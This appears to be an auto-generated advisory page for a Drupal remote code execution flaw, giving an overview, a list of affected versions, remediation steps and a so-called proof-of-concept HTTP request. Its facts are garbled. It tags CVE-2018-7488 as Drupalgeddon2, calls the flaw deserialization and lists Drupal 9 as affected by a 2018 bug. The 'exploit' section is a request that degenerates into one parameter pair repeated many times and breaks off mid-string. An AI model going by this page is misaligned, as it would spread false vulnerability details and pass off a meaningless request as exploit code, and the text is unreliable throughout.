Drupal CVE-2018-7488 RCE: PoC, Impact, and Fix Guide

Vulnerability Overview Vulnerability Name: Drupal Remote Code Execution Vulnerability (Drupalgeddon2) Vulnerability ID: CVE-2018-7488 Risk Level: Critical Vulnerability Type: Remote Code Execution (RCE) Affected Component: Drupal Core Description: An attacker can execute arbitrary code on the server by crafting specific HTTP requests that exploit a deserialization vulnerability in Drupal Core. Scope of Impact Affected Versions: - Drupal 7.x (7.0 - 7.58) - Drupal 8.x (8.0 - 8.5.1) - Drupal 9.x (9.0 - 9.0.0) Affected Modules: Primarily affects Drupal Core; some modules that rely on core functionality may also be impacted. Affected Scenarios: All websites running affected Drupal versions, particularly those that have not implemented additional security measures. Remediation Version Upgrade: - Upgrade to Drupal 7.59 or later - Upgrade to Drupal 8.5.2 or later - Upgrade to Drupal 9.0.1 or later Temporary Mitigation Measures: - Restrict access permissions for unauthenticated users - Enable Web Application Firewall (WAF) rules to filter malicious requests - Disable unnecessary modules and interfaces Verification: After upgrading, confirm the vulnerability is fixed using official test cases or security scanning tools. POC / Exploit Code ```http POST /?_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form Content-Type: application/x-www-form-urlencoded form_id=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=user_login_form&_drupal_settings[form_builder][form_id]=user_register_form&_drupal_settings[form_builder][form_id]=

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Drupal CVE-2018-7488 RCE: PoC, Impact, and Fix Guide

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